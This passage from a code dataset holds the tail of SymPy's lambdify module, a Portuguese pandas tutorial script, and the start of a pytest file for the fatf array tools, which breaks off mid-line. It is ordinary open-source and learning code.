'lambda %s: (%s)(%s)' % (','.join(dum_args), lstr, indexed_args)\n\n    dummies_dict = {}\n    if dummify:\n        args = sub_args(args, dummies_dict)\n    else:\n        if isinstance(args, str):\n            pass\n        elif iterable(args, exclude=DeferredVector):\n            args = \",\".join(str(a) for a in args)\n\n    # Transform expr\n    if dummify:\n        if isinstance(expr, str):\n            pass\n        else:\n            expr = sub_expr(expr, dummies_dict)\n    expr = _recursive_to_string(lambdarepr, expr)\n    return \"lambda %s: (%s)\" % (args, expr)\n\nclass _EvaluatorPrinter:\n    def __init__(self, printer=None, dummify=False):\n        self._dummify = dummify\n\n        #XXX: This has to be done here because of circular imports\n        from sympy.printing.lambdarepr import LambdaPrinter\n\n        if printer is None:\n            printer = LambdaPrinter()\n\n        if inspect.isfunction(printer):\n            self._exprrepr = printer\n        else:\n            if inspect.isclass(printer):\n                printer = printer()\n\n            self._exprrepr = printer.doprint\n\n            #if hasattr(printer, '_print_Symbol'):\n            #    symbolrepr = printer._print_Symbol\n\n            #if hasattr(printer, '_print_Dummy'):\n            #    dummyrepr = printer._print_Dummy\n\n        # Used to print the generated function arguments in a standard way\n        self._argrepr = LambdaPrinter().doprint\n\n    def doprint(self, funcname, args, expr, *, cses=()):\n        \"\"\"\n        Returns the function definition code as a string.\n        \"\"\"\n        from sympy import Dummy\n\n        funcbody = []\n\n        if not iterable(args):\n            args = [args]\n\n        argstrs, expr = self._preprocess(args, expr)\n\n        # Generate argument unpacking and final argument list\n        funcargs = []\n        unpackings = []\n\n        for argstr in argstrs:\n            if iterable(argstr):\n                funcargs.append(self._argrepr(Dummy()))\n                unpackings.extend(self._print_unpacking(argstr, funcargs[-1]))\n            else:\n                funcargs.append(argstr)\n\n        funcsig = 'def {}({}):'.format(funcname, ', '.join(funcargs))\n\n        # Wrap input arguments before unpacking\n        funcbody.extend(self._print_funcargwrapping(funcargs))\n\n        funcbody.extend(unpackings)\n\n        for s, e in cses:\n            if e is None:\n                funcbody.append('del {}'.format(s))\n            else:\n                funcbody.append('{} = {}'.format(s, self._exprrepr(e)))\n\n        str_expr = _recursive_to_string(self._exprrepr, expr)\n\n\n        if '\\n' in str_expr:\n            str_expr = '({})'.format(str_expr)\n        funcbody.append('return {}'.format(str_expr))\n\n        funclines = [funcsig]\n        funclines.extend(['    ' + line for line in funcbody])\n\n        return '\\n'.join(funclines) + '\\n'\n\n    @classmethod\n    def _is_safe_ident(cls, ident):\n        return isinstance(ident, str) and ident.isidentifier() \\\n                and not keyword.iskeyword(ident)\n\n    def _preprocess(self, args, expr):\n        \"\"\"Preprocess args, expr to replace arguments that do not map\n        to valid Python identifiers.\n\n        Returns string form of args, and updated expr.\n        \"\"\"\n        from sympy import Dummy, Function, flatten, Derivative, ordered, Basic\n        from sympy.matrices import DeferredVector\n        from sympy.core.symbol import uniquely_named_symbol\n        from sympy.core.expr import Expr\n\n        # Args of type Dummy can cause name collisions with args\n        # of type Symbol.  Force dummify of everything in this\n        # situation.\n        dummify = self._dummify or any(\n            isinstance(arg, Dummy) for arg in flatten(args))\n\n        argstrs = [None]*len(args)\n        for arg, i in reversed(list(ordered(zip(args, range(len(args)))))):\n            if iterable(arg):\n                s, expr = self._preprocess(arg, expr)\n            elif isinstance(arg, DeferredVector):\n                s = str(arg)\n            elif isinstance(arg, Basic) and arg.is_symbol:\n                s = self._argrepr(arg)\n                if dummify or not self._is_safe_ident(s):\n                    dummy = Dummy()\n                    if isinstance(expr, Expr):\n                        dummy = uniquely_named_symbol(\n                            dummy.name, expr, modify=lambda s: '_' + s)\n                    s = self._argrepr(dummy)\n                    expr = self._subexpr(expr, {arg: dummy})\n            elif dummify or isinstance(arg, (Function, Derivative)):\n                dummy = Dummy()\n                s = self._argrepr(dummy)\n                expr = self._subexpr(expr, {arg: dummy})\n            else:\n                s = str(arg)\n            argstrs[i] = s\n        return argstrs, expr\n\n    def _subexpr(self, expr, dummies_dict):\n        from sympy.matrices import DeferredVector\n        from sympy import sympify\n\n        expr = sympify(expr)\n        xreplace = getattr(expr, 'xreplace', None)\n        if xreplace is not None:\n            expr = xreplace(dummies_dict)\n        else:\n            if isinstance(expr, DeferredVector):\n                pass\n            elif isinstance(expr, dict):\n                k = [self._subexpr(sympify(a), dummies_dict) for a in expr.keys()]\n                v = [self._subexpr(sympify(a), dummies_dict) for a in expr.values()]\n                expr = dict(zip(k, v))\n            elif isinstance(expr, tuple):\n                expr = tuple(self._subexpr(sympify(a), dummies_dict) for a in expr)\n            elif isinstance(expr, list):\n                expr = [self._subexpr(sympify(a), dummies_dict) for a in expr]\n        return expr\n\n    def _print_funcargwrapping(self, args):\n        \"\"\"Generate argument wrapping code.\n\n        args is the argument list of the generated function (strings).\n\n        Return value is a list of lines of code that will be inserted  at\n        the beginning of the function definition.\n        \"\"\"\n        return []\n\n    def _print_unpacking(self, unpackto, arg):\n        \"\"\"Generate argument unpacking code.\n\n        arg is the function argument to be unpacked (a string), and\n        unpackto is a list or nested lists of the variable names (strings) to\n        unpack to.\n        \"\"\"\n        def unpack_lhs(lvalues):\n            return '[{}]'.format(', '.join(\n                unpack_lhs(val) if iterable(val) else val for val in lvalues))\n\n        return ['{} = {}'.format(unpack_lhs(unpackto), arg)]\n\nclass _TensorflowEvaluatorPrinter(_EvaluatorPrinter):\n    def _print_unpacking(self, lvalues, rvalue):\n        \"\"\"Generate argument unpacking code.\n\n        This method is used when the input value is not interable,\n        but can be indexed (see issue #14655).\n        \"\"\"\n        from sympy import flatten\n\n        def flat_indexes(elems):\n            n = 0\n\n            for el in elems:\n                if iterable(el):\n                    for ndeep in flat_indexes(el):\n                        yield (n,) + ndeep\n                else:\n                    yield (n,)\n\n                n += 1\n\n        indexed = ', '.join('{}[{}]'.format(rvalue, ']['.join(map(str, ind)))\n                                for ind in flat_indexes(lvalues))\n\n        return ['[{}] = [{}]'.format(', '.join(flatten(lvalues)), indexed)]\n\ndef _imp_namespace(expr, namespace=None):\n    \"\"\" Return namespace dict with function implementations\n\n    We need to search for functions in anything that can be thrown at\n    us - that is - anything that could be passed as ``expr``.  Examples\n    include sympy expressions, as well as tuples, lists and dicts that may\n    contain sympy expressions.\n\n    Parameters\n    ----------\n    expr : object\n       Something passed to lambdify, that will generate valid code from\n       ``str(expr)``.\n    namespace : None or mapping\n       Namespace to fill.  None results in new empty dict\n\n    Returns\n    -------\n    namespace : dict\n       dict with keys of implemented function names within ``expr`` and\n       corresponding values being the numerical implementation of\n       function\n\n    Examples\n    ========\n\n    >>> from sympy.abc import x\n    >>> from sympy.utilities.lambdify import implemented_function, _imp_namespace\n    >>> from sympy import Function\n    >>> f = implemented_function(Function('f'), lambda x: x+1)\n    >>> g = implemented_function(Function('g'), lambda x: x*10)\n    >>> namespace = _imp_namespace(f(g(x)))\n    >>> sorted(namespace.keys())\n    ['f', 'g']\n    \"\"\"\n    # Delayed import to avoid circular imports\n    from sympy.core.function import FunctionClass\n    if namespace is None:\n        namespace = {}\n    # tuples, lists, dicts are valid expressions\n    if is_sequence(expr):\n        for arg in expr:\n            _imp_namespace(arg, namespace)\n        return namespace\n    elif isinstance(expr, dict):\n        for key, val in expr.items():\n            # functions can be in dictionary keys\n            _imp_namespace(key, namespace)\n            _imp_namespace(val, namespace)\n        return namespace\n    # sympy expressions may be Functions themselves\n    func = getattr(expr, 'func', None)\n    if isinstance(func, FunctionClass):\n        imp = getattr(func, '_imp_', None)\n        if imp is not None:\n            name = expr.func.__name__\n            if name in namespace and namespace[name] != imp:\n                raise ValueError('We found more than one '\n                                 'implementation with name '\n                                 '\"%s\"' % name)\n            namespace[name] = imp\n    # and / or they may take Functions as arguments\n    if hasattr(expr, 'args'):\n        for arg in expr.args:\n            _imp_namespace(arg, namespace)\n    return namespace\n\n\ndef implemented_function(symfunc, implementation):\n    \"\"\" Add numerical ``implementation`` to function ``symfunc``.\n\n    ``symfunc`` can be an ``UndefinedFunction`` instance, or a name string.\n    In the latter case we create an ``UndefinedFunction`` instance with that\n    name.\n\n    Be aware that this is a quick workaround, not a general method to create\n    special symbolic functions. If you want to create a symbolic function to be\n    used by all the machinery of SymPy you should subclass the ``Function``\n    class.\n\n    Parameters\n    ----------\n    symfunc : ``str`` or ``UndefinedFunction`` instance\n       If ``str``, then create new ``UndefinedFunction`` with this as\n       name.  If ``symfunc`` is an Undefined function, create a new function\n       with the same name and the implemented function attached.\n    implementation : callable\n       numerical implementation to be called by ``evalf()`` or ``lambdify``\n\n    Returns\n    -------\n    afunc : sympy.FunctionClass instance\n       function with attached implementation\n\n    Examples\n    ========\n\n    >>> from sympy.abc import x\n    >>> from sympy.utilities.lambdify import lambdify, implemented_function\n    >>> f = implemented_function('f', lambda x: x+1)\n    >>> lam_f = lambdify(x, f(x))\n    >>> lam_f(4)\n    5\n    \"\"\"\n    # Delayed import to avoid circular imports\n    from sympy.core.function import UndefinedFunction\n    # if name, create function to hold implementation\n    kwargs = {}\n    if isinstance(symfunc, UndefinedFunction):\n        kwargs = symfunc._kwargs\n        symfunc = symfunc.__name__\n    if isinstance(symfunc, str):\n        # Keyword arguments to UndefinedFunction are added as attributes to\n        # the created class.\n        symfunc = UndefinedFunction(\n            symfunc, _imp_=staticmethod(implementation), **kwargs)\n    elif not isinstance(symfunc, UndefinedFunction):\n        raise ValueError(filldedent('''\n            symfunc should be either a string or\n            an UndefinedFunction instance.'''))\n    return symfunc\n", "meta": {"hexsha": "d9c2ef5b540292206a9788030537aef278d4a69d", "size": 50538, "ext": "py", "lang": "Python", "max_stars_repo_path": "sympy/utilities/lambdify.py", "max_stars_repo_name": "shilpiprd/sympy", "max_stars_repo_head_hexsha": "556e9c61b31d0d5f101cd56b43e843fbf3bcf121", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "sympy/utilities/lambdify.py", "max_issues_repo_name": "shilpiprd/sympy", "max_issues_repo_head_hexsha": "556e9c61b31d0d5f101cd56b43e843fbf3bcf121", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "sympy/utilities/lambdify.py", "max_forks_repo_name": "shilpiprd/sympy", "max_forks_repo_head_hexsha": "556e9c61b31d0d5f101cd56b43e843fbf3bcf121", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 36.3582733813, "max_line_length": 139, "alphanum_fraction": 0.6182872294, "include": true, "reason": "import numpy,from numpy,import scipy,from scipy,import sympy,from sympy,from mpmath,import cupy", "num_tokens": 12510, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.480478678047907, "lm_q2_score": 0.11436852920044106, "lm_q1q2_score": 0.05495163972051137}}
{"text": "\n#importando pacotes\nimport pandas as pd\nimport numpy as np\n\n#Criando um dicionario com os dados\ndados = {'canal_venda' : ['Facebook', 'Twitter', 'Instagram', 'Linkedin', 'Facebook'],\n         'acessos': [100,200,300,400,500],\n         'site': ['site1','site1', 'site2', 'site2', 'site3' ],\n         'vendas': [1000.52, 1052.34, 2002, 5000, 300]}\n\n#Printa os dados do dicionario na tela\nprint(dados)\n\n#Verificando o tipo de dicionario\nprint(type(dados))\n\n#Acessando as chaves do meu dicionario\nprint(dados.keys())\n\n#Acessando chave especifica\nprint(dados['canal_venda'])\n\n#Acessando posicao especifica de um dicionario\nprint(dados['canal_venda'][2])\n\n#Acessando posicoes especificas de um dicionario com intervalo\nprint(dados['canal_venda'][:2])\n\n#Listas\n\n#Verificando se \u00e9 uma lista \nprint(type([1,2,3]))\n\n#Criando uma lista\nlista = [200, 200 , 300 ,800, 200]\n\n#Printando a lista\nprint(lista)\n\n#Vendo valores especificos\nprint(lista[1])\n\n#Fatia de lista\nprint(lista[:2])\n\n#Adicionando a lista ao dicionario\ndados['lista'] = lista\n\nprint(dados)\n\n#Data Frames\n\n#Criando um data frame a partir de um dicionario\ndataframe = pd.DataFrame(dados)\n\n#printando o data frame\nprint(dataframe)\n\n#Printando os 2 primeiros casos do data frame\nprint(dataframe.head(2))\n\n#Verificando o formato do data frame\nprint(dataframe.shape)\n\n#Verificando o indice do dataframe\nprint(dataframe.index)\n\n#Verificando os tipos dos dados do dataframe\nprint(dataframe.dtypes)\nprint(dataframe.dtypes.value_counts())\n\n#Verificando se existem valores faltantes, mostrando a tabela\nprint(dataframe.isna())\n\n#Mostra o numero de acordo com a varival\nprint(dataframe.isna().sum())\n\n#printando os nomes das colunas\nprint(dataframe.columns)\n\n#Acessando uma coluna especifica\nprint(dataframe['canal_venda'])\n\n# Criando uma nova coluna\ndataframe['nova_coluna'] = [1, 2, 3, 4, 5]\n\n#Mostrando novamente as colunas\nprint(dataframe.columns)\n\n# Removendo colunas\ndataframe.drop(columns = ['acessos','site', 'canal_venda'])\n#Ele so elemina no data frame originial se usar o parametro inplace = true\n\n#Acessando valores especificos\nprint(dataframe['acessos'][1])\n\n#Acessando fatia de coluna especifica\nprint(dataframe['canal_venda'][:2])\n\n#Fatiando dados com iloc: Linhas/Colunas\nprint(dataframe.iloc[1:2, 1:3])\n\n#Fatiar os dados usando o loc (indice), que so pega o indice\nprint(dataframe.loc[:3])\n\n#Selecionando colunas especificas\nprint(dataframe[['canal_venda', 'vendas']])\n\n#Podemos passar os valores da coluna atraves de uma lista\nfiltro = ['canal_venda', 'acessos']\nprint(dataframe[filtro])\n\n#Metodo info diz as caracteristicas do dataframe\nprint(dataframe.info())\n\n#Pivotando os dados (coluna), funciona como uma juncao de colunas\naux = dataframe.pivot(index = 'canal_venda', columns='site', values='acessos')\nprint(aux)\n\n#Completando os valores faltantes usando fillna, dizendo que os faltantes vao ser igualados a 0\n#Pivotando os dados (coluna)\naux = dataframe.pivot(index = 'canal_venda', columns='site', values='acessos').fillna(0)\nprint(dataframe.pivot(index = 'canal_venda', columns='site', values='acessos').fillna(0))\n\n# Mudando as colunas usando o comando melt\nprint(dataframe.melt(id_vars='site', value_vars=['canal_venda']))\n\n#Resetando o indice do dataframe, voltando ao original\nprint(aux.columns)\naux = dataframe.reset_index()\nprint(aux.columns)\n\naux.reset_index()\n\n#Exemplo do comando melt\n#print(aux.melt(id_vars='canal_venda', value_vars=['site1', 'site2', 'site3']))\n\n#Somando as colunas do dataframe\nprint(dataframe.sum())\nprint(dataframe.sum(axis = 1))\n\n#Calculando a mediana das colunas numericas\nprint('Por linha: ',dataframe.median(axis= 1) )\nprint('Por coluna: ', dataframe.median())\n\n#So pega os valores de numeros, nao pega as strings\n#Calculando a media das colunas n\u00famericas\nprint(dataframe.mean())\n\n#Calculando o desvio padr\u00e3o das colunas numericas\nprint(dataframe.std())\n\n#Usando o comando describe que calcula estatisticas descritivas para colunas numericas\nprint(dataframe.describe())\n\n#Calculando a moda\nprint(dataframe.mode())\n\n#Mostrando os valores max e min\nprint(dataframe.max() , dataframe.min())\n\n#Printando o numero de unicos\nprint(dataframe.nunique())\n\n#Contando valores unicos de uma coluna\nprint(dataframe['canal_venda'].value_counts())\n\n#String com o nome dos valores unicos de uma coluna\nprint(dataframe['canal_venda'].unique())\n\n# Usando o groupby com valores numericos\nprint(dataframe.groupby('site')['acessos'].sum())\n\n# Usando o groupby com valores numericos\nprint(dataframe.groupby('canal_venda')['acessos'].median())\n\n# Usando o groupby com categoricos\nprint(dataframe.groupby('site')['canal_venda'].first())\n\n#Usando o groupby com a fun\u00e7\u00e3o agg\nprint(dataframe.groupby('canal_venda').agg({'site': 'unique',\n                                     'acessos': 'sum'}))\n\n#Correla\u00e7\u00f5es entre variaveis\nprint(dataframe.corr(method = 'spearman'))\n\n#Criando variaveis categoricas por fatia de variavel numerica\ndataframe['categoria_vendas'] = pd.cut(dataframe['vendas'],\n                                       bins= (0, 1500, 2000, 8000), \n                                       labels = ('0 a 1500', '1500 a 2000', '2000 a 8000'))\n\n#Criando variavel categorica usando compressao de lista\ndataframe['categoria_acessos'] = ['maior_que_300' if x > 300 else 'menor_que_300' for x in dataframe['acessos']]\n\n#Criando o dataframe_2\ndataframe_2 = pd.DataFrame({'site': ['site1', 'site1', 'site2', 'site2', 'site3'],\n               'suporte': ['Carlos', 'Carlos', 'Maria', 'Maria', 'Ezequiel']})\n\n#Realizando o merge para juntar os dois data frames\nprint(dataframe.merge(dataframe_2, on = 'site', how = 'left'))\n\n#Salvando o dataframe como csv\ndataframe.to_csv('dataframe.csv', sep = ';', decimal = ',', index = False)\n\n#Lendo dados no formato csv\ndataframe_lido = pd.read_csv('dataframe.csv', sep = ';', decimal = ',')\n", "meta": {"hexsha": "5e99237a5cd816378e2594c8285cc80caca7b3d2", "size": 5811, "ext": "py", "lang": "Python", "max_stars_repo_path": "Modulo 2/conceitosIniciais.py", "max_stars_repo_name": "ronaldogomes96/Acelera-Dev-DataScience", "max_stars_repo_head_hexsha": "3bdd7ae86a907db3339fdd7abc615ecaf5a683a6", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Modulo 2/conceitosIniciais.py", "max_issues_repo_name": "ronaldogomes96/Acelera-Dev-DataScience", "max_issues_repo_head_hexsha": "3bdd7ae86a907db3339fdd7abc615ecaf5a683a6", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Modulo 2/conceitosIniciais.py", "max_forks_repo_name": "ronaldogomes96/Acelera-Dev-DataScience", "max_forks_repo_head_hexsha": "3bdd7ae86a907db3339fdd7abc615ecaf5a683a6", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.9375, "max_line_length": 112, "alphanum_fraction": 0.7267251764, "include": true, "reason": "import numpy", "num_tokens": 1665, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.480478678047907, "lm_q2_score": 0.11436851712592715, "lm_q1q2_score": 0.05495163391896489}}
{"text": "\"\"\"\nTests array tools.\n\"\"\"\n# Author: Kacper Sokol <k.sokol@bristol.ac.uk>\n# License: new BSD\n\nimport numpy as np\n\nimport pytest\n\nimport fatf.utils.array.tools as fuat\nimport fatf.utils.array.validation as fuav\n\nfrom fatf.exceptions import IncorrectShapeError\nfrom fatf.utils.testing.arrays import (\n    BASE_NP_ARRAY, NOT_BASE_NP_ARRAY, NOT_BASE_STRUCTURED_ARRAY,\n    NOT_NUMERICAL_NP_ARRAY, NOT_NUMERICAL_STRUCTURED_ARRAY, NUMERICAL_NP_ARRAY,\n    NUMERICAL_STRUCTURED_ARRAY, WIDE_NP_ARRAY, WIDE_STRUCTURED_ARRAY)\n\nNUMERICAL_UNSTRUCTURED_ARRAY = np.array([\n    [1.0, 1.0 + 1j],\n    [1, 1 + 1j],\n    [np.nan, -1 + 1j],\n    [np.inf, -1 + 1j],\n    [-np.inf, -1 + 1j],\n    [-1, -1 + 1j]])  # yapf: disable\nNOT_NUMERICAL_UNSTRUCTURED_ARRAY = np.array([\n    [1 + 0.j, 'a'],\n    [1 + 0.j, 'b'],\n    [-1 + 0.j, 'c'],\n    [1 + 0.j, 'd'],\n    [1 + 1j, 'e'],\n    [0j, 'f'],\n    [np.nan + 0j, 'g'],\n    [np.inf + 0j, 'h'],\n    [-np.inf + 0j, 'i']])  # yapf: disable\nWIDE_UNSTRUCTURED_ARRAY = np.array([\n    [1.0, 1.0 + 1j, np.nan],\n    [np.inf, 1 + 1j, 6],\n    [-1, -1 + 1j, -np.inf]])  # yapf: disable\n\nNP_VER = [int(i) for i in np.version.version.split('.')]\n\n\ndef _compare_nan_arrays(array1, array2):\n    \"\"\"\n    Compares 2 numpy arrays and returns True if they are element-wise the same.\n    \"\"\"\n    assert not fuav.is_structured_array(array1), 'array1 cannot be structured.'\n    assert not fuav.is_structured_array(array2), 'array2 cannot be structured.'\n    assert array1.shape == array2.shape, 'Inputs must be of the same shape.'\n    # pylint: disable=len-as-condition\n    assert len(array1.shape) > 0 and len(array1.shape) < 3, 'Only 1D or 2D.'\n    are_equal = True\n    if len(array1.shape) == 1:\n        for i in range(array1.shape[0]):\n            if np.isnan(array1[i]) and np.isnan(array2[i]):\n                continue\n            elif array1[i] != array2[i]:\n                are_equal = False\n                break\n    elif len(array1.shape) == 2:\n        for i in range(array1.shape[0]):\n            for j in range(array1.shape[1]):\n                if np.isnan(array1[i, j]) and np.isnan(array2[i, j]):\n                    continue\n                elif array1[i, j] != array2[i, j]:\n                    are_equal = False\n                    break\n            if not are_equal:\n                break\n    return are_equal\n\n\ndef test_compare_nan_arrays():\n    \"\"\"\n    Tests numpy arrays element-wise array comparison.\n    \"\"\"\n    assertion_error_1 = 'array1 cannot be structured.'\n    assertion_error_2 = 'array2 cannot be structured.'\n    assertion_error_3 = 'Inputs must be of the same shape.'\n    assertion_error_4 = 'Only 1D or 2D.'\n\n    array_3d_a = np.ones((2, 2, 2), dtype=float)\n    array_struct = np.array([(1, 1.)], dtype=[('a', int), ('b', float)])\n    array_1d_a = np.array([1, np.nan, 3])\n    array_1d_b = np.array([-np.inf, 5, np.inf])\n    array_2d_a = np.array([[1, np.nan, 3], [-np.inf, 5, np.inf]])\n    array_2d_b = np.array([[-np.inf, 5, np.inf], [1, np.nan, 3]])\n\n    # Assertion error 1 -- structured array 1\n    with pytest.raises(AssertionError) as exin:\n        _compare_nan_arrays(array_struct, array_struct)\n    assert str(exin.value).startswith(assertion_error_1)\n\n    # Assertion error 2 -- structured array 2\n    with pytest.raises(AssertionError) as exin:\n        _compare_nan_arrays(array_1d_a, array_struct)\n    assert str(exin.value).startswith(assertion_error_2)\n\n    # Assertion error 3 -- different shapes\n    with pytest.raises(AssertionError) as exin:\n        _compare_nan_arrays(array_1d_a, array_2d_a)\n    assert str(exin.value).startswith(assertion_error_3)\n\n    # Assertion error 4 -- 3D array\n    with pytest.raises(AssertionError) as exin:\n        _compare_nan_arrays(array_3d_a, array_3d_a)\n    assert str(exin.value).startswith(assertion_error_4)\n\n    # 1D\n    assert not _compare_nan_arrays(array_1d_a, array_1d_b)\n    assert _compare_nan_arrays(array_1d_a, array_2d_a[0, :])\n    assert not _compare_nan_arrays(array_1d_a, array_2d_a[1, :])\n    assert not _compare_nan_arrays(array_1d_b, array_2d_a[0, :])\n    assert _compare_nan_arrays(array_1d_b, array_2d_a[1, :])\n\n    # 2D\n    assert not _compare_nan_arrays(array_2d_a, array_2d_b)\n    assert not _compare_nan_arrays(array_2d_a[[0], :], array_2d_b[[0], :])\n    assert _compare_nan_arrays(array_2d_a, array_2d_b[[1, 0], :])\n    assert _compare_nan_arrays(array_2d_a[[0], :], array_2d_b[[1], :])\n    assert _compare_nan_arrays(array_2d_a[[1], :], array_2d_b[[0], :])\n\n\ndef test_indices_by_type():\n    \"\"\"\n    Tests :func:`fatf.utils.array.tools.indices_by_type` function.\n    \"\"\"\n    # pylint: disable=too-many-locals,too-many-statements\n    # Test any object and shape\n    type_error = 'The input should be a numpy array-like.'\n    incorrect_shape_error = 'The input array should be 2-dimensional.'\n    value_error = ('indices_by_type only supports input arrays that hold base '\n                   'numpy types, i.e. numerical and string-like -- numpy void '\n                   'and object-like types are not allowed.')\n    with pytest.raises(TypeError) as exin:\n        fuat.indices_by_type(None)\n    assert str(exin.value) == type_error\n    with pytest.raises(IncorrectShapeError) as exin:\n        fuat.indices_by_type(np.empty((0, )))\n    assert str(exin.value) == incorrect_shape_error\n    with pytest.raises(ValueError) as exin:\n        fuat.indices_by_type(NOT_NUMERICAL_NP_ARRAY)\n    assert str(exin.value) == value_error\n\n    # Empty array\n    i_n, i_c = fuat.indices_by_type(np.empty((22, 0)))\n    assert np.array_equal([], i_n)\n    assert np.array_equal([], i_c)\n\n    # All numerical array\n    array_all_numerical = np.ones((22, 4))\n    array_all_numerical_indices_numerical = np.array([0, 1, 2, 3])\n    array_all_numerical_indices_categorical = np.array([], dtype=int)\n    i_n, i_c = fuat.indices_by_type(array_all_numerical)\n    assert np.array_equal(array_all_numerical_indices_numerical, i_n)\n    assert np.array_equal(array_all_numerical_indices_categorical, i_c)\n\n    # All categorical -- single type -- array\n    array_all_categorical = np.ones((22, 4), dtype='U4')\n    array_all_categorical_indices_numerical = np.array([])\n    array_all_categorical_indices_categorical = np.array([0, 1, 2, 3])\n    i_n, i_c = fuat.indices_by_type(array_all_categorical)\n    assert np.array_equal(array_all_categorical_indices_numerical, i_n)\n    assert np.array_equal(array_all_categorical_indices_categorical, i_c)\n\n    # Mixture array\n    array_mixture_1 = np.ones((22, ), dtype=[('a', 'U4'),\n                                             ('b', 'U4'),\n                                             ('c', 'U4'),\n                                             ('d', 'U4')])  # yapf: disable\n    array_mixture_1_indices_numerical = np.array([])\n    array_mixture_1_indices_categorical = np.array(['a', 'b', 'c', 'd'],\n                                                   dtype='U1')\n    ####\n    i_n, i_c = fuat.indices_by_type(array_mixture_1)\n    assert np.array_equal(array_mixture_1_indices_numerical, i_n)\n    assert np.array_equal(array_mixture_1_indices_categorical, i_c)\n\n    array_mixture_2 = np.ones((22, ), dtype=[('a', 'U4'),\n                                             ('b', 'f'),\n                                             ('c', 'U4'),\n                                             ('d', int)])  # yapf: disable\n    array_mixture_2_indices_numerical = np.array(['b', 'd'], dtype='U1')\n    array_mixture_2_indices_categorical = np.array(['a', 'c'], dtype='U1')\n    i_n, i_c = fuat.indices_by_type(array_mixture_2)\n    assert np.array_equal(array_mixture_2_indices_numerical, i_n)\n    assert np.array_equal(array_mixture_2_indices_categorical, i_c)\n\n    glob_indices_numerical = np.array([0, 1])\n    glob_indices_categorical = np.array([])\n    i_n, i_c = fuat.indices_by_type(NUMERICAL_NP_ARRAY)\n    assert np.array_equal(glob_indices_numerical, i_n)\n    assert np.array_equal(glob_indices_categorical, i_c)\n    #\n    glob_indices_numerical = np.array([0, 1, 2])\n    glob_indices_categorical = np.array([])\n    i_n, i_c = fuat.indices_by_type(WIDE_NP_ARRAY)\n    assert np.array_equal(glob_indices_numerical, i_n)\n    assert np.array_equal(glob_indices_categorical, i_c)\n    #\n    glob_indices_numerical = np.array(['numbers', 'complex'])\n    glob_indices_categorical = np.array([])\n    i_n, i_c = fuat.indices_by_type(NUMERICAL_STRUCTURED_ARRAY)\n    assert np.array_equal(glob_indices_numerical, i_n)\n    assert np.array_equal(glob_indices_categorical, i_c)\n    #\n    glob_indices_numerical = np.array(['numerical'])\n    glob_indices_categorical = np.array(['categorical'])\n    i_n, i_c = fuat.indices_by_type(NOT_NUMERICAL_STRUCTURED_ARRAY)\n    assert np.array_equal(glob_indices_numerical, i_n)\n    assert np.array_equal(glob_indices_categorical, i_c)\n    #\n    glob_indices_numerical = np.array(['numbers', 'complex', 'anybody'])\n    glob_indices_categorical = np.array([])\n    i_n, i_c = fuat.indices_by_type(WIDE_STRUCTURED_ARRAY)\n    assert np.array_equal(glob_indices_numerical, i_n)\n    assert np.array_equal(glob_indices_categorical, i_c)\n\n\ndef test_get_invalid_indices():\n    \"\"\"\n    Tests :func:`fatf.utils.array.tools.get_invalid_indices` function.\n    \"\"\"\n    type_error = 'Input arrays should be numpy array-like objects.'\n    incorrect_shape_array = 'The input array should be 2-dimensional.'\n    incorrect_shape_indices = 'The indices array should be 1-dimensional.'\n    with pytest.raises(TypeError) as exin:\n        fuat.get_invalid_indices(None, np.ones((4, )))\n    assert str(exin.value) == type_error\n    with pytest.raises(TypeError) as exin:\n        fuat.get_invalid_indices(None, np.ones((4, 4)))\n    assert str(exin.value) == type_error\n    with pytest.raises(TypeError) as exin:\n        fuat.get_invalid_indices(np.ones((4, )), None)\n    assert str(exin.value) == type_error\n    with pytest.raises(TypeError) as exin:\n        fuat.get_invalid_indices(None, np.ones((4, 4)))\n    assert str(exin.value) == type_error\n    # Incorrect shape array\n    with pytest.raises(IncorrectShapeError) as exin:\n        fuat.get_invalid_indices(np.ones((5, )), np.ones((4, 4)))\n    assert str(exin.value) == incorrect_shape_array\n    with pytest.raises(IncorrectShapeError) as exin:\n        fuat.get_invalid_indices(np.ones((5, )), np.ones((4, )))\n    assert str(exin.value) == incorrect_shape_array\n    with pytest.raises(IncorrectShapeError) as exin:\n        fuat.get_invalid_indices(np.ones((5, 3)), np.ones((4, 4)))\n    assert str(exin.value) == incorrect_shape_indices\n\n    gind = fuat.get_invalid_indices(NUMERICAL_NP_ARRAY, np.array([0, 2]))\n    assert np.array_equal(gind, np.array([2]))\n    gind = fuat.get_invalid_indices(NUMERICAL_NP_ARRAY, np.array(['a', 1]))\n    assert np.array_equal(gind, np.array(['1', 'a']))\n    gind = fuat.get_invalid_indices(NUMERICAL_NP_ARRAY, np.array([1, 0]))\n    assert np.array_equal(gind, np.array([]))\n    assert np.array_equal(gind, np.empty((0, )))\n    #\n    gind = fuat.get_invalid_indices(NOT_NUMERICAL_NP_ARRAY, np.array([0, 2]))\n    assert np.array_equal(gind, np.array([2]))\n    gind = fuat.get_invalid_indices(NOT_NUMERICAL_NP_ARRAY, np.array(['a', 1]))\n    assert np.array_equal(gind, np.array(['1', 'a']))\n    #\n    gind = fuat.get_invalid_indices(NUMERICAL_STRUCTURED_ARRAY,\n                                    np.array([0, 'numbers']))\n    assert np.array_equal(gind, np.array(['0']))\n    gind = fuat.get_invalid_indices(NUMERICAL_STRUCTURED_ARRAY, np.array([0]))\n    assert np.array_equal(gind, np.array([0]))\n    gind = 